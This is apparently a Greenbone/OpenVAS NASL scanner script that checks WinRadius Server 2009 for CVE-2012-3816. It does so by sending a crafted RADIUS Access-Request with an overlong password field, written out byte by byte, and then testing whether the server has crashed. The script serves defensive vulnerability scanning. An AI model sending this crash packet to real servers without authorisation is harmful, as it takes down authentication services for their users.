WinRadius Server Access Request Packet Parsing DoS Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902918");
  script_version("2025-03-05T05:38:53+0000");
  script_cve_id("CVE-2012-3816");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2012-06-29 15:19:56 +0530 (Fri, 29 Jun 2012)");
  script_name("WinRadius Server Access Request Packet Parsing DoS Vulnerability");

  script_xref(name:"URL", value:"http://1337day.com/exploits/18385");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53702");
  script_xref(name:"URL", value:"http://secunia.com/advisories/49299");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/75890");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/113078/winradius-dos.txt");
  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/bugtraq/2012-05/0135.html");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("radius_detect.nasl");
  script_require_udp_ports("Services/udp/radius", 1812);

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to cause a
  denial of service.");

  script_tag(name:"affected", value:"WinRadius Server version 2009.");

  script_tag(name:"insight", value:"The flaw is due to an error when parsing Access-Request packets
  and can be exploited to crash the server via specially crafted requests with a long password field.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"WinRadius Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("network_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port(default:1812, proto:"radius", ipproto:"udp");

if(!check_udp_port_status(dport:port))
  exit(0);

if(!is_radius_alive(port:port))
  exit(0);

if(!soc = open_sock_udp(port))
  exit(0);

req = raw_string(0x01,              ## Code: Access-Request (1)
                 0x47,              ## Packet identifier: 0x47 (71)
                 0x01, 0x1e,        ## Length: 286

                 ## Authenticator: 7DD2C61BBE7E9D582F5EB3BD9A68F127
                 0x7d, 0xd2, 0xc6, 0x1b, 0xbe, 0x7e, 0x9d, 0x58, 0x2f,
                 0x5e, 0xb3, 0xbd, 0x9a, 0x68, 0xf1, 0x27,

                  ## AVP: l=5  t=User-Name(1): 005
                 0x01, 0x05, 0x30, 0x30, 0x35,

                 ## AVP: l=255  t=User-Password(2): Encrypted
                 0x02, 0xff, 0x4a, 0xbb, 0xa8, 0x29, 0xbd, 0xdc, 0x2d, 0x5d,
                 0x59, 0x86, 0xe3, 0xc7, 0x51, 0x0f, 0x99, 0x7e, 0x3f, 0x0c,
                 0xfc, 0xe5, 0x30, 0xb3, 0x68, 0xa4, 0x5b, 0x3d, 0xeb, 0x3c,
                 0x40, 0xaa, 0x93, 0xd3, 0xb4, 0x74, 0xa9, 0xa3, 0x41, 0x50,
                 0x47, 0x1e, 0xf6, 0x93, 0xc3, 0x84, 0xba, 0x46, 0x46, 0xc0,
                 0x53, 0xf5, 0x9a, 0x27, 0x9b, 0x3b, 0x3d, 0x9c, 0xc7, 0x5f,
                 0xb9, 0x72, 0x99, 0x0f, 0x15, 0xea, 0x39, 0x6b, 0x6b, 0x17,
                 0xe6, 0xe2, 0x5a, 0x1c, 0x58, 0x82, 0xf6, 0x4f, 0x78, 0x3a,
                 0x4f, 0x35, 0x93, 0xc1, 0x11, 0x3f, 0x8f, 0xf0, 0xf0, 0x07,
                 0xe3, 0xc5, 0xf5, 0xc6, 0x2c, 0xf0, 0x49, 0x17, 0x7f, 0x50,
                 0x52, 0x78, 0xf8, 0x8b, 0x68, 0x0b, 0x60, 0x4e, 0x7d, 0xfa,
                 0xd1, 0x8e, 0xb2, 0xa2, 0x70, 0x83, 0xfb, 0x4c, 0xb0, 0x59,
                 0x38, 0x47, 0xc9, 0xf0, 0x69, 0xfb, 0x67, 0xe5, 0x2b, 0xc4,
                 0xac, 0x66, 0xbf, 0xc1, 0x97, 0x47, 0x7f, 0xcb, 0x04, 0x93,
                 0x34, 0x9b, 0x62, 0x3b, 0x60, 0x95, 0x87, 0x65, 0x73, 0x17,
                 0xb1, 0x9b, 0x37, 0xd4, 0xcd, 0x59, 0x8a, 0xd0, 0x0c, 0x22,
                 0xe0, 0x3f, 0xce, 0xb6, 0x66, 0x49, 0x1c, 0x0a, 0xa2, 0xd8,
                 0x1f, 0x07, 0x30, 0x27, 0x78, 0xcc, 0x5a, 0xb6, 0xaf, 0x69,
                 0x35, 0x92, 0xd8, 0xd1, 0xfa, 0x79, 0x34, 0x1c, 0xf3, 0x6b,
                 0xd8, 0xad, 0xac, 0x18, 0x3c, 0x33, 0xef, 0x91, 0xf7, 0x1d,
                 0x2a, 0x5b, 0x2b, 0xfe, 0xb2, 0xe7, 0xee, 0xe0, 0xc8, 0x5d,
                 0xec, 0x29, 0x1b, 0xe2, 0x9b, 0x5e, 0x5b, 0xaa, 0xc7, 0xce,
                 0xf5, 0xd6, 0xc9, 0x81, 0x7c, 0x9e, 0x2b, 0xba, 0x00, 0x0f,
                 0xd9, 0x95, 0x95, 0x7a, 0xc1, 0x09, 0x84, 0xd1, 0x32, 0xea,
                 0x11, 0xf9, 0xe3, 0x6d, 0x07, 0xf2, 0xea, 0x0a, 0x05, 0x05,
                 0x49, 0xd2, 0x58, 0xaa, 0x95);
                 ## AVP: l=6  t=NAS-IP-Address(4):Not mandatory
                 #0x04, 0x06, 0xc0, 0xa8, 0x01, 0x1c);

send(socket:soc, data:req);
close(soc);

if(!is_radius_alive(port:port)){
  security_message(port:port);
  exit(0);
}

exit(99);